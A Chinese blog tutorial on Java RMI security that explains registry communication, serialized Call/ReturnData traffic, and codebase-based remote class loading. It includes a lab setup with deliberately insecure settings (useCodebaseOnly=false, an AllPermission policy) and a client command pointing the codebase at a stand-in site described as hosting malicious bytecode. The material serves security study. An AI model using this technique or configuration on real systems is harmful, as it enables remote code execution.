抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

Java中RMI (Remote Method Invocation,远程方法调用) 模型的介绍及应用

RMI的过程分析

RMI (Remote Method Invocation,远程方法调用) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM(java虚拟机) 中的对象调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此,RMI 意味着需要一个 Server 端和一个 Client 端。
这里首先编写一个 RMI Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.vulhub.RMI;  
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;

}

public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";

}

}

private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();

//创建并运行RMI Registry
LocateRegistry.createRegistry(1099);

//将RemoteHelloWorld对象绑定到Hello这个名字上
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

这段代码是一个简单的 Java RMI(远程方法调用)示例,我们来仔细的分析一下这段代码

  1. public interface IRemoteHelloWorld extends Remote { ... }
    • 这是一个远程接口,它扩展了 Remote 接口。在 RMI 中,远程接口定义了客户端和服务器之间可以调用的远程方法。这部分算第一个部分,继承接口,定义远程调用函数 hello()
  2. public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { ... }
    • 这是一个远程对象类,它实现了远程接口 IRemoteHelloWorld。在 RMI 中,远程对象是服务器上的对象,它包含了远程方法的实现。这是第二个部分,实现了此接口的类。
  3. private void start() throws Exception { ... }
    • 这是一个私有方法,用于启动 RMI 服务器。在方法内部,首先创建了一个 RemoteHelloWorld 对象,然后使用 LocateRegistry.createRegistry(1099) 创建了 RMI 注册表,该注册表将在本地主机的 1099 端口上监听远程方法调用。最后,使用 Naming.rebind("rmi://127.0.0.1:1099/Hello", h) 将远程对象绑定到注册表中,以便客户端可以通过指定的 URL 访问远程对象。
  4. public static void main(String[] args) throws Exception { ... }
    • 这是主方法,用于启动 RMI 服务器。在方法内部,创建了一个 RMIServer 对象,并调用了其 start() 方法来启动 RMI 服务器。这个和上面那段算作是第三部分,主类,创建 Registry,将类实例化之后绑定到一个地址。

总的来说,这段代码实现了一个简单的 RMI 服务器,该服务器提供了一个名为 “Hello” 的远程对象,客户端可以通过 RMI 调用该对象的 hello() 方法来获取 “Hello world” 字符串。

这段代码只有在客户端连接的时候才会调用hello() 方法,才会有输出,但是如果我们想知道这个代码有没有被执行的话怎么办呢,我们可以自己手动添加输出代码,这样就可以知道有没有执行了,代码如下:

1
2
3
4
5
6
7
8
private void start() throws Exception {  
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry created."); // 添加输出
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
System.out.println("Remote object bound."); // 添加输出
}

好,那么 RMI Server的编写和结构介绍完了,接下来我们就介绍一下 RMI Client,这个客户端和前面的服务端对应

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.vulhub.Train;  
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String ret = hello.hello();
System.out.println( ret);
}
}

运行成功之后会发现客户端输出了 Hello world,服务端输出了 call from
我们来分析一下客户端的代码,客户端代码很简单,主要就是在方法内部,我们首先使用 Naming.lookup() 方法查找在指定 URL 下绑定的远程对象,即通过 NameRMI Registry查询,并将其强制转换为远程接口类型 IRemoteHelloWorld。然后,我们调用远程接口的 hello() 方法,获取返回的字符串并打印输出。这段代码实现了一个简单的 RMI 客户端,它连接到指定的 RMI 服务器并调用其提供的远程方法。

我们来仔细分析一下RMI的通信过程,我们来抓包看看,监听我们本地的 Loopback 回环接口

然后运行我们的两个脚本,可以看到整个过程经历了两次TCP握手

第⼀次建⽴TCP连接是连接 127.0.0.1的1099端⼝,这也是我们在代码⾥看到的端⼝,⼆者进⾏沟通后,我向远端发送了⼀个“Call”消息,远端回复了⼀个“ReturnData”消息,然后新建了⼀个TCP连接,连到远端的50954端⼝。在 RMI(远程方法调用)中,"Call" 消息和 "ReturnData" 消息是 RMI通信过程中的两种重要消息类型,它们的含义如下:

  1. "Call" 消息:
    • "Call" 消息是客户端发送给服务器端的消息,用于请求远程方法的调用。当客户端想要调用远程对象的方法时,它会发送一个 "Call" 消息给服务器端,以触发远程方法的执行。
  2. "ReturnData" 消息:
    • "ReturnData" 消息是服务器端响应客户端请求的消息,用于返回远程方法调用的结果。当服务器端收到客户端的 "Call" 消息后,会执行相应的远程方法,并将方法执行的结果封装成 "ReturnData" 消息发送给客户端,以便客户端获取远程方法的执行结果。
      所以整个过程大概为:
      ⾸先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回⼀个序列化的数据,这个就是找到的Name=Hello的对象,这个对应
      数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是⼀个远程对象,地址在 192.168.174.1:50954 ,于是再与这个地址建⽴TCP连接;在这个新的连接中,才执⾏真正远程
      ⽅法调⽤,也就是 hello()
      整个过程的大致就是,服务器注册RMI服务,将对象与Name绑定,客户端通过lookupRMI Registry中寻找要加载远程对象,然后再发起请求从RMI Server上调用方法。

第一篇讲了 RMI 的整个过程和原理,那我们想一下 RMI 会给我们带来哪些安全问题呢?
P神的文章里提出了两个思考问题:

  1. 如果我们能访问RMI Registry服务,如何对其攻击?
  2. 如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地
    址),能不能进行攻击?

第一个问题,怎么攻击 RMI Registry
首先,RMI Registry 是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。我们可以尝试直
接访问“后台”功能,比如修改远程服务器上Hello对应的对象:

1
2
3
RemoteHelloWorld h = new RemoteHelloWorld();
//这里我们把ip替换成了其他的ip
Naming.rebind("rmi://192.168.135.142:1099/Hello", h);

但是我们发现会报错

我们看到这里创建并运行了RMI Registry,但是并不能绑定对象,并且产生了报错,这又是为什么呢?

因为Java对远程访问RMI Registry做了限制,只有来源地址是localhost(127.0.0.1)的时候,才能调用rebind、bind、unbind等方法。不过listlookup方法可以远程调用。

list方法可以列出目标上所有绑定的对象:

1
String[] s = Naming.list("rmi://192.168.135.142:1099");

lookup作用就是获得某个远程对象。

那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用。
但是这个攻击方法的攻击力太低了,接下来介绍一个攻击力强的多的方法。

RMI相关攻击手法 – RMI利用codebase执行任意代码

这里我们就来说说 codebase 是什么。codebase是一个地址,即url,告诉Java虚拟机我们应该从哪个地方去搜索类,codebase通常是远程URL,比如http、ftp等。
例如,如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。这个和python中的导入的包也是一个道理,首先会在当前路径下寻找有没有这个包,如果没有,才是在环境变量 PYTHONPATH中或者是Python 标准库目录下去寻找。

那这时候如果codebase被我们控制,我们不就可以加载恶意类了吗?事实是确实是这样的,但是这个利用方法也有一定的局限性,只有满足下面两个条件才能利用这个漏洞

  • 安装并配置了SecurityManager
  • Java版本低于7u216u45,或者设置了 java.rmi.server.useCodebaseOnly=false
    其中 java.rmi.server.useCodebaseOnly 是在Java 7u216u45的时候修改的一个默认设置。

从 Java 7 开始,由于安全考虑,官方将 java.rmi.server.useCodebaseOnly 的默认值从false改为了 true。当 java.rmi.server.useCodebaseOnly 配置为 true 时,Java 虚拟机将只信任预先配置好的 codebase,不再支持从 RMI 请求中获取 codebase 信息。

但是感觉这个java版本和配置的要求现在也很少见了,但是这里涉及到第二个问题和RMI的第三篇文章,所以我们还是简单的叙述解释一下步骤一下。这里还是按照P神在文章中给出的方法。
首先建立有关 RMI Server的4个文件
ICalc.java

1
2
3
4
5
6
import java.rmi.Remote;  
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.Remote;  
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

RemoteRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.Naming;  
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

client.policy

1
2
3
grant {  
permission java.security.AllPermission;
};

编译及运行

1
2
javac *.java
java -Djava.rmi.server.hostname=127.0.0.1 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

这里记得版本一定要正确,不然就会一直报错 错误: 找不到或无法加载主类,我是用的 jdk 7u13
然后,我们再建立一个RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.Naming;  
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://127.0.0.1:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

这个Client我们需要在另一个位置运行,不能将RMIClient.java放在RMI Server所在的目录中,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才会去加载codebase中的类
然后运行RMIClient

1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

这里的 http://example.com 就是我们的存放着恶意字节码文件(.class文件)的网站。

codebase传递和利用的原理

第二篇说了这个漏洞,那第三篇就来说一下这个漏洞的过程和原理
我们在执行上一个漏洞的整个流程中进行抓包,会发现进行攻击的时候,也有两个 TCP 连接:

  1. 本机与RMI Registry的通信(1099端口)
  2. 本机与RMI Server的通信

我们用 tcp.stream eq 0 来筛选出本机与RMI Registry的数据流:
我们打开协议为 RMI ,描述为 JRMI、Call 的包,看到最后有段数据由0xACED开头,这是一段Java序列化数据。我们可以使用,SerializationDumper这个工具对Java序列化数据进行分析。

分析之后会看到用类似BNF(巴科斯范式)的形式描述的序列化数据语法。然后我们分析序列化之后的数据,可知,这一整个序列化对象,其实描述的就是一个字符串,其值是 refObj 。意思是获取远程的 refObj 对象。然后我们看一下描述为 JRMI,ReturnData的这一个数据包。在这个数据包中,有一段数据储存在 objectAnnotation 中,这段数据记录了 RMI Server的地址和端口,接下来就开始调用远程方法。
我们用tcp.stream eq 1 筛选出本机与RMI Server的数据流,在这个数据流中,没有看到识别为 RMI 协议的包,我们看到其中的一个数据包是是 50 ac ed 开头,50是指 RMI Callac ed就是指java序列化的数据,我们用上面提到的工具分析一下这段数据。

(图源于P神-java安全漫谈)

可见,我们的 codebase 是通过 [Ljava.rmi.server.ObjID; 的 classAnnotations 传递的。所以,即使我们没有RMI的客户端,只需要修改 classAnnotations 的值,就能控制codebase,使其指向攻击者的恶意网站。

这里介绍补充一下什么是classAnnotations
在序列化Java类的时候用到了一个类,叫 ObjectOutputStream ,用于将 Java 对象序列化为字节流。它继承自 OutputStream 类,并提供了一系列方法来将 Java 对象写入输出流中。这个类内部有一个方法annotateClassObjectOutputStream 的子类有需要向序列化后的数据里放任何内容,都可以重写这个方法,写入你自己想要写入的数据。然后反序列化时,就可以读取到这个信息并使用。

所以说,在分析序列化数据时,如果我们看到了 classAnnotations,那么实际上这些注解信息就是通过 annotateClass 方法写入到序列化数据中的。

换句话说,当一个类被序列化时,它的注解信息可能会被记录下来并写入序列化数据中。当我们在反序列化过程中恢复对象时,这些注解信息也会随着对象一起被读取。如果我们在分析序列化数据时看到了 classAnnotations,那么我们可以推断这些注解信息是在序列化过程中通过 annotateClass 方法写入的。

评论